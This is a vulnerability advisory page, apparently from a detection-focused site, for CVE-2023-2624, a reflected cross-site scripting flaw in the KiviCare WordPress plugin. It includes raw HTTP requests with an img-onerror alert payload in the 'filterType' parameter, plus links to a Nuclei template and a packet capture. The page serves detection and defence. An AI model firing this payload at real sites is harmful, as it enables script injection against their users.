🔙 목록으로 돌아가기

CVE-2023-2624: KiviCare WordPress Plugin - Cross-Site Scripting

TitleKiviCare WordPress Plugin - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
RemediationUpdate to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.10752
CVE IDCVE-2023-2624
Tags cve cve2023 kivicare wp wp-plugin wordpress wpscan authenticated vuln

🔍 Vulnerability Description

The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the ‘filterType’ parameter, leading to Reflected Cross-Site Scripting.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=ZRGmXn&pwd=ACQIEh&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2624.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2624.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A